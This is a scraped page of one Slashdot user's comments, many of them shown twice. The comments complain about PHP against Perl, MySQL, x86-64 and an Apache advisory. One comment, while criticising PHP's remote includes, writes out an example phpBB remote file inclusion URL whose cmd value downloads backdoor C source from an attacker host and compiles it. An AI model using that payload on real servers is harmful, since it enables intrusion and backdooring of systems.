Because in my humble experience, PHP makes easy things a cinch but complex things impossible and extremely insecure. The fact that most large PHP projects eschew the entire concept entirely in favour of a home cooked template system and also a home cooked db abstraction library bears this out nicely. (I wrote a much longer schpiel on this in the original question thread but that sums it up nicely).
In short, I use PHP as SSI+. As a db-savvy preprocessor (the first P in PHP you'll notice) it's brilliant. But anything more than that, doubt it.
Re:Concurrent/Distributed tasks
on
Ask Larry Wall
·
· Score: 1
First up, have you seen the thread support in Perl 5.8.0? It's documented here if you want to look at it. Exactly what do you think is wrong with it? It's in the core. It's stable. I'm not goading, I just want to know what you think is missing.
How about the fact that CPAN won't work with it, and I wouldnt put money on mod_perl working with it either.
Speaking of which, that's what pisses me off most about Perl at the moment. Perl's a beautiful language, and CPAN is a godsend but dear god is mod_perl a steaming pile of crap. I'm trying it but I'm constantly on the verge of giving up due to these god damn module loading issues.
Re:Thanks Larry
on
Ask Larry Wall
·
· Score: 2, Informative
Uhm, the Perl Foundation seems to be in need of some donations...
Note: this is probably going to be horrendously biased because 99% of the PHP stuff I do is maintaining and customizing a vBulletin. For those who have ever dealt with this piece of crapware I'll say nothing more. Suffice it to say that if you run diff on, say, newthread.php and newreply.php the output is disturbingly short.
Look, I'm sorry but exactly what was supposed to be great about PHP? the fact that you can easily embed it in HTML code, that it integrates cleanly with MySQL and that you can pass args to it easily. Let us demolish each of these in sequence
* HTML embedding - Ever heard of MVC? I'm sorry, but if you compare something like this:
<ul> [% FOREACH user = users %] <li><a href="user.pl?userid=[% user.userid %]">[% user.username %]</li> [% END %] </ul>
now you tell me which looks neater? HTML-like templating syntax just looks dire because it all falls apart when you have to include stuff inside attributes. Not only is it ugly but it's unmaintainable. Want to skin your site in PHP? forget it. Want to skin it in perl/TT/CPAN templating engine of your choice? no problem, just supply a different base path to your template engine of choice. Of course most PHP coders have realized this so they've created their own templating engine, or use something like Smarty and just wrap everything in one great big PHP tag. Which quite frankly just defeats the entire point.
* Argument passing - this is hellish. Anything that comes in in a query string, cookie or post variable immediately enters your global namespace, where your often CRITICAL state variables are - hope you initialized them! I can't tell you how many times I got exploited by some stupid XSS exploit or the totally useless ability of include() to pull stuff in over HTTP. It's bad enough when a script kiddie just needs a unix system and the ability to use a compiler to root a machine but when 'h4xx0ring' can be done just by typing http://phpbb.mysite.com/includes/db.php?phpbb_root _path=http://my.webserver.com/&phpEx=txt&cmd=lynx+ -source+http://my.webserver.com/1337-backdoor.c+|+ gcc+-o+/tmp/1337-backdoor or something like that then it's quite clear that things are getting absolutely fucking ridiculous. In fact the PHP team have realized this and forced you to use $HTTP_POST_VARS or whatever other four-mile-long identifier to get at your vars (oh, sorry it's $_POST now)... well, at least if php.ini says so. Which you can't count on anyway so I always write a little routine to bomb out the global namespace (except for the superglobals) at the start of each of my scripts. Stupid and unnecessary.
* MySQL integration - eh?! I'm sorry but I HATE the PHP MySQL API. The error handling is a joke so most people write their own wrappers around MySQL to catch errors and deal with them (that or it's back to checking the return value of every little thing. Thanks but if I wanted to do that I'd program in C). That and don't get me started on slashing. php.ini is set up so that your incoming variables may or may not get slashed. Again, you can't influence this or count on it if you've got shared hosting of some sort so either you've got to manually strip all the slashes out again or put them in - in which case you either have to deslashify something if you're using it internally or slashify it when passing it to mysql_query() to make sure someone doesnt take a great big shit all over your SQL. And that's if you're using MySQL. If you're using Postgres, there's a different API, and if you're using Oracle then there's a third. The fact that there's TWO different database abstraction systems built into the core of PHP (DBx and ODBC) and then some in PEAR shows that something is really horribly wrong.
Now compare to Perl DBI or Java JDBC or anything else which actually has a sane DB access API.
eval { my $sth = $dbh->prepare('SELECT userid FROM user WHERE username = ?'); $sth->execute($username); my $userid = $sth->fetchrow_array; } if ($@) { confess "SQL Error: $@"; }
which in PHP looks like
if (!get_magic_quotes_gpc()) { $username = addslashes($username) } $q = mysql_query("SELECT userid FROM user WHERE username = '$username'") or die("Query failed: " . mysql_error()); if ($r = mysql_fetch_row($q)) { $userid = $r[0]; }
I know which one I prefer. That and let's not forget the fact that every time you access a page, that page is parsed, its dependencies are parsed, initialization is performed, and then it handles your request. Also the standard library that comes with it is cack - everything is in the global namespace, there's no object orientation at all, parts of it look like the C standard library's been retrofitted into it because the designers were too damn lazy, it's inconsistent, there's several conflicting ways of doing everything and it's so badly designed that you're usually working AGAINST it than with it. (want to slurp a file? well you can use the file() command to make an array of lines, which you can join together again, or you can use readfile() which sends a file directly to the client, however you can get round that by using output buffering to capture it. Or you can use fopen() and the related commands to open the file, find its size, read it into a scalar then close it again. Aargh!)... need I go on?
Now, look, I must admit Perl isn't great either. mod_perl is fast as lightning but it's got a ton of idiosyncracies of its own (mainly in the way of including things, eg include paths, namespaces, etc) and a lot of weird side-effects that are far from obvious and get in the way most of the time. I've written my own mini-wrapper around it that irons most of it out but it's still quite a pain.
As for PHP though, it does have its place, but remember what PHP stands for - PHP Hypertext PREPROCESSOR (I think). As SSI on steroids with some ability to interface with MySQL, it's a great system. But writing things like messageboards or shopping carts or portals in PHP is sheer lunacy. I've managed a PhpBB and a vBulletin as well as writing a mini news system that integrates with vB so maybe my experience isn't that great and someone ought to hit me with a clue-by-four. But if you can, please do because from what I've seen I find it very hard to like this language.
Yeah, I'm sure 196 is meaningful in base 10. And maybe something else is meaningful in base 14 or whatever. Unless god works in decimal I don't see much significance in this other than interesting artefact of our number system. Still, if someone could create a proof...
MySQL isnt a competitor to these DBMSes, but instead it compliments them. Oracle and DB2 and the like are all geared towards complex, highly transactional systems where there's loads of updates going on which can't be allowed to collide.
MySQL on the other hand, is a system for storing tables and looking up information in them - and quickly. This has its uses, look at Slashcode and forums system such as vBulletin (which I happen to have the displeasure of customizing and maintaining on a site I go to... ugh what a fucking mess) - for automating websites, systems like Oracle are overkill. For eCommerce backends and data mining MySQL doesn't cut it. Pick which one you will based on what you want to accomplish but neither is a 'threat' to the other.
: Time to burn some karma...... because, of course, that line is what guarantees you more of it.
Slashdot story is posted nongrammatically/misspelled, news at ten. One wonders what the moderators are doing these days if they see fit to mod stuff like this up.
These guys have probably been playing too much Metal Gear Solid 2. I imagine they think a guy walking around in a sneaking suit and taking photographs during a big presentation wouldn't be in the least suspicious;)
I'm not some prodigal kernel developer, but I do think the AMD architecture looks like a piece of shit. You're really telling me that we want to have an architecture that operates in a 16, 32 AND 64 bit mode, that has tons of crufts and kinks from the 80's still in it and a paltry handful of registers that are all overlaid... A(H|L) -> AX -> EAX -> 64-bit AX? Why? what the hell would that be good for? just bloats the die by another order of magnitude I'm sure.
Intel's got a sound solution and they at least have the balls to finally give the cruddy old x86 architecture the heave-ho; ok they can't do it now but IA64's architecture does not require 8086 or IA32 to bootstrap it so both can be thrown out sooner or later. Regardless of what the actual metal might be, the actual platform is beautifully elegant next to x86 and will ultimately be a real asset in the future as 64 bit architectures become the norm, much more so than some short term gain that might be had by virtue of a superior implementation from AMD.
Maybe I'm missing something here (OK I'm not on the design teams for both processors so I certainly AM missing something here) but from this standpoint, it looks like this would be the one time when I want to cheer for Intel as opposed to AMD. Pity they had to botch the development cycle like they did. *sigh*
Why the consistent use of "he/she"? I'm sorry but I've yet to see anyone of the female persuasion who is enough of a lowlife to become a script kiddie.
"Yes Mr CEO, let's back an ad-hoc DNS system that actually expects us to play fair over the well established one we currently have that's well and truly in our grip. Truly an inspired idea"
You DO realize your sig is probably setting off uptime pissing wars all over Slashdot, right?;) (59 days on my Lin 2.2 133MHz webserver btw. It has never been rebooted before, at least, not in its current incarnation)
I don't remember what HTTPd they're running but it sure as hell isn't apache. Someone said that they get 1k hits per SECOND; what do you use to shape that insane amount of traffic? What is the '/search' page coded in? What databases are used to index a terabyte of data? How do those 10,000 nodes find the data they need to quickly? what sort of interlinks are used?
How to you build a cluster like a war machine, in other words?;)
I've already created an exploit that causes tons of children to crash and tested it against my server. Effects are negligible. So much for a DoS attack.
In Apache 1.3 the issue causes a stack overflow. Due to the nature of the
overflow on 32-bit Unix platforms this will cause a segmentation violation
and the child will terminate. However on 64-bit platforms the overflow
can be controlled and so for platforms that store return addresses on the
stack it is likely that it is further exploitable. This could allow
arbitrary code to be run on the server as the user the Apache children are
set to run as.
We have been made aware that Apache 1.3 on Windows is exploitable in this
way.
Ok can someone PLEASE explain what this report is about? Can you or can you not cause a stack overwrite on x86 Linux? it says that 32 bit unices it won't work; how is the stack handling different from 'doze? it then goes on to say that 64 bit architectures can be exploited and that "Apache 1.3 on windows is exploitable in this way". Apache on windows == 32 bit != 64 bit!
Counterexample: That Peruvian legistlator's letter. Very calmly presented and this letter has been cited time and time again on/. and other places (to the point where one can argue "Can't you GNU folks come up with anything more than just that one damn letter?")
...that the active half of this Perl (5) powered site is completely screwed up at the moment? Improve languages all you want, it's still no substitute for decent sysadminning;)
Slashdot Mirror
Because in my humble experience, PHP makes easy things a cinch but complex things impossible and extremely insecure. The fact that most large PHP projects eschew the entire concept entirely in favour of a home cooked template system and also a home cooked db abstraction library bears this out nicely. (I wrote a much longer schpiel on this in the original question thread but that sums it up nicely).
In short, I use PHP as SSI+. As a db-savvy preprocessor (the first P in PHP you'll notice) it's brilliant. But anything more than that, doubt it.
Were I a bit older I'd have attended. *sigh* one year to go...
I find it highly doubtful the police keep a list of "respected citizens unlikely to commit a crime."
SELECT * FROM person WHERE race = 'white' AND sex = 'male' AND annual_income > 50000 ORDER by annual_income DESC;
Well, ok there's CREATE VIEW I guess...
dont you mean
foreach $reason (@WierdSyntax) { print "$reason\n"; }
?
First up, have you seen the thread support in Perl 5.8.0? It's documented here if you want to look at it. Exactly what do you think is wrong with it? It's in the core. It's stable. I'm not goading, I just want to know what you think is missing.
How about the fact that CPAN won't work with it, and I wouldnt put money on mod_perl working with it either.
Speaking of which, that's what pisses me off most about Perl at the moment. Perl's a beautiful language, and CPAN is a godsend but dear god is mod_perl a steaming pile of crap. I'm trying it but I'm constantly on the verge of giving up due to these god damn module loading issues.
Uhm, the Perl Foundation seems to be in need of some donations...
Note: this is probably going to be horrendously biased because 99% of the PHP stuff I do is maintaining and customizing a vBulletin. For those who have ever dealt with this piece of crapware I'll say nothing more. Suffice it to say that if you run diff on, say, newthread.php and newreply.php the output is disturbingly short.
t _path=http://my.webserver.com/&phpEx=txt&cmd=lynx+ -source+http://my.webserver.com/1337-backdoor.c+|+ gcc+-o+/tmp/1337-backdoor or something like that then it's quite clear that things are getting absolutely fucking ridiculous. In fact the PHP team have realized this and forced you to use $HTTP_POST_VARS or whatever other four-mile-long identifier to get at your vars (oh, sorry it's $_POST now) ... well, at least if php.ini says so. Which you can't count on anyway so I always write a little routine to bomb out the global namespace (except for the superglobals) at the start of each of my scripts. Stupid and unnecessary.
... need I go on?
Look, I'm sorry but exactly what was supposed to be great about PHP? the fact that you can easily embed it in HTML code, that it integrates cleanly with MySQL and that you can pass args to it easily. Let us demolish each of these in sequence
* HTML embedding - Ever heard of MVC? I'm sorry, but if you compare something like this:
<ul>
<?php foreach ($users as $user) { ?>
<li><a href="user.php?userid=<?php echo $user->userid ?>"><?php echo $user->username ?></a></li>
<?php } ?>
</ul>
and, say, the equiv in Template Toolkit:
<ul>
[% FOREACH user = users %]
<li><a href="user.pl?userid=[% user.userid %]">[% user.username %]</li>
[% END %]
</ul>
now you tell me which looks neater? HTML-like templating syntax just looks dire because it all falls apart when you have to include stuff inside attributes. Not only is it ugly but it's unmaintainable. Want to skin your site in PHP? forget it. Want to skin it in perl/TT/CPAN templating engine of your choice? no problem, just supply a different base path to your template engine of choice. Of course most PHP coders have realized this so they've created their own templating engine, or use something like Smarty and just wrap everything in one great big PHP tag. Which quite frankly just defeats the entire point.
* Argument passing - this is hellish. Anything that comes in in a query string, cookie or post variable immediately enters your global namespace, where your often CRITICAL state variables are - hope you initialized them! I can't tell you how many times I got exploited by some stupid XSS exploit or the totally useless ability of include() to pull stuff in over HTTP. It's bad enough when a script kiddie just needs a unix system and the ability to use a compiler to root a machine but when 'h4xx0ring' can be done just by typing http://phpbb.mysite.com/includes/db.php?phpbb_roo
* MySQL integration - eh?! I'm sorry but I HATE the PHP MySQL API. The error handling is a joke so most people write their own wrappers around MySQL to catch errors and deal with them (that or it's back to checking the return value of every little thing. Thanks but if I wanted to do that I'd program in C). That and don't get me started on slashing. php.ini is set up so that your incoming variables may or may not get slashed. Again, you can't influence this or count on it if you've got shared hosting of some sort so either you've got to manually strip all the slashes out again or put them in - in which case you either have to deslashify something if you're using it internally or slashify it when passing it to mysql_query() to make sure someone doesnt take a great big shit all over your SQL. And that's if you're using MySQL. If you're using Postgres, there's a different API, and if you're using Oracle then there's a third. The fact that there's TWO different database abstraction systems built into the core of PHP (DBx and ODBC) and then some in PEAR shows that something is really horribly wrong.
Now compare to Perl DBI or Java JDBC or anything else which actually has a sane DB access API.
eval {
my $sth = $dbh->prepare('SELECT userid FROM user WHERE username = ?');
$sth->execute($username);
my $userid = $sth->fetchrow_array;
} if ($@) { confess "SQL Error: $@"; }
which in PHP looks like
if (!get_magic_quotes_gpc()) {
$username = addslashes($username)
}
$q = mysql_query("SELECT userid FROM user WHERE username = '$username'")
or die("Query failed: " . mysql_error());
if ($r = mysql_fetch_row($q)) {
$userid = $r[0];
}
I know which one I prefer. That and let's not forget the fact that every time you access a page, that page is parsed, its dependencies are parsed, initialization is performed, and then it handles your request. Also the standard library that comes with it is cack - everything is in the global namespace, there's no object orientation at all, parts of it look like the C standard library's been retrofitted into it because the designers were too damn lazy, it's inconsistent, there's several conflicting ways of doing everything and it's so badly designed that you're usually working AGAINST it than with it. (want to slurp a file? well you can use the file() command to make an array of lines, which you can join together again, or you can use readfile() which sends a file directly to the client, however you can get round that by using output buffering to capture it. Or you can use fopen() and the related commands to open the file, find its size, read it into a scalar then close it again. Aargh!)
Now, look, I must admit Perl isn't great either. mod_perl is fast as lightning but it's got a ton of idiosyncracies of its own (mainly in the way of including things, eg include paths, namespaces, etc) and a lot of weird side-effects that are far from obvious and get in the way most of the time. I've written my own mini-wrapper around it that irons most of it out but it's still quite a pain.
As for PHP though, it does have its place, but remember what PHP stands for - PHP Hypertext PREPROCESSOR (I think). As SSI on steroids with some ability to interface with MySQL, it's a great system. But writing things like messageboards or shopping carts or portals in PHP is sheer lunacy. I've managed a PhpBB and a vBulletin as well as writing a mini news system that integrates with vB so maybe my experience isn't that great and someone ought to hit me with a clue-by-four. But if you can, please do because from what I've seen I find it very hard to like this language.
Yeah, I'm sure 196 is meaningful in base 10. And maybe something else is meaningful in base 14 or whatever. Unless god works in decimal I don't see much significance in this other than interesting artefact of our number system. Still, if someone could create a proof...
MySQL isnt a competitor to these DBMSes, but instead it compliments them. Oracle and DB2 and the like are all geared towards complex, highly transactional systems where there's loads of updates going on which can't be allowed to collide.
MySQL on the other hand, is a system for storing tables and looking up information in them - and quickly. This has its uses, look at Slashcode and forums system such as vBulletin (which I happen to have the displeasure of customizing and maintaining on a site I go to... ugh what a fucking mess) - for automating websites, systems like Oracle are overkill. For eCommerce backends and data mining MySQL doesn't cut it. Pick which one you will based on what you want to accomplish but neither is a 'threat' to the other.
Aah, come on, you've never flown in an airship until you've had Umaro behind the wheel ;)
: Time to burn some karma... ... because, of course, that line is what guarantees you more of it.
Slashdot story is posted nongrammatically/misspelled, news at ten. One wonders what the moderators are doing these days if they see fit to mod stuff like this up.
These guys have probably been playing too much Metal Gear Solid 2. I imagine they think a guy walking around in a sneaking suit and taking photographs during a big presentation wouldn't be in the least suspicious ;)
I'm not some prodigal kernel developer, but I do think the AMD architecture looks like a piece of shit. You're really telling me that we want to have an architecture that operates in a 16, 32 AND 64 bit mode, that has tons of crufts and kinks from the 80's still in it and a paltry handful of registers that are all overlaid... A(H|L) -> AX -> EAX -> 64-bit AX? Why? what the hell would that be good for? just bloats the die by another order of magnitude I'm sure.
Intel's got a sound solution and they at least have the balls to finally give the cruddy old x86 architecture the heave-ho; ok they can't do it now but IA64's architecture does not require 8086 or IA32 to bootstrap it so both can be thrown out sooner or later. Regardless of what the actual metal might be, the actual platform is beautifully elegant next to x86 and will ultimately be a real asset in the future as 64 bit architectures become the norm, much more so than some short term gain that might be had by virtue of a superior implementation from AMD.
Maybe I'm missing something here (OK I'm not on the design teams for both processors so I certainly AM missing something here) but from this standpoint, it looks like this would be the one time when I want to cheer for Intel as opposed to AMD. Pity they had to botch the development cycle like they did. *sigh*
Nice to know those Java folks put their money where their mouth is
Why the consistent use of "he/she"? I'm sorry but I've yet to see anyone of the female persuasion who is enough of a lowlife to become a script kiddie.
"Yes Mr CEO, let's back an ad-hoc DNS system that actually expects us to play fair over the well established one we currently have that's well and truly in our grip. Truly an inspired idea"
I wish there was a shell with the simple grace of C, the libraries and idiot proof installing packages of Perl, and the portability of bash.
Would you like fries with that?
32 days!?
;) (59 days on my Lin 2.2 133MHz webserver btw. It has never been rebooted before, at least, not in its current incarnation)
You DO realize your sig is probably setting off uptime pissing wars all over Slashdot, right?
...the scary thing is though, it was just fiction at the time.
l
http://www.gnu.org/philosophy/right-to-read.htm
Wait and see eh =\
Sure thing, "Your mother was a hamster..."
I don't remember what HTTPd they're running but it sure as hell isn't apache. Someone said that they get 1k hits per SECOND; what do you use to shape that insane amount of traffic? What is the '/search' page coded in? What databases are used to index a terabyte of data? How do those 10,000 nodes find the data they need to quickly? what sort of interlinks are used?
;)
How to you build a cluster like a war machine, in other words?
I've already created an exploit that causes tons of children to crash and tested it against my server. Effects are negligible. So much for a DoS attack.
Ok can someone PLEASE explain what this report is about? Can you or can you not cause a stack overwrite on x86 Linux? it says that 32 bit unices it won't work; how is the stack handling different from 'doze? it then goes on to say that 64 bit architectures can be exploited and that "Apache 1.3 on windows is exploitable in this way". Apache on windows == 32 bit != 64 bit!
Someone care to clarify?
Counterexample: That Peruvian legistlator's letter. Very calmly presented and this letter has been cited time and time again on /. and other places (to the point where one can argue "Can't you GNU folks come up with anything more than just that one damn letter?")
...that the active half of this Perl (5) powered site is completely screwed up at the moment? Improve languages all you want, it's still no substitute for decent sysadminning ;)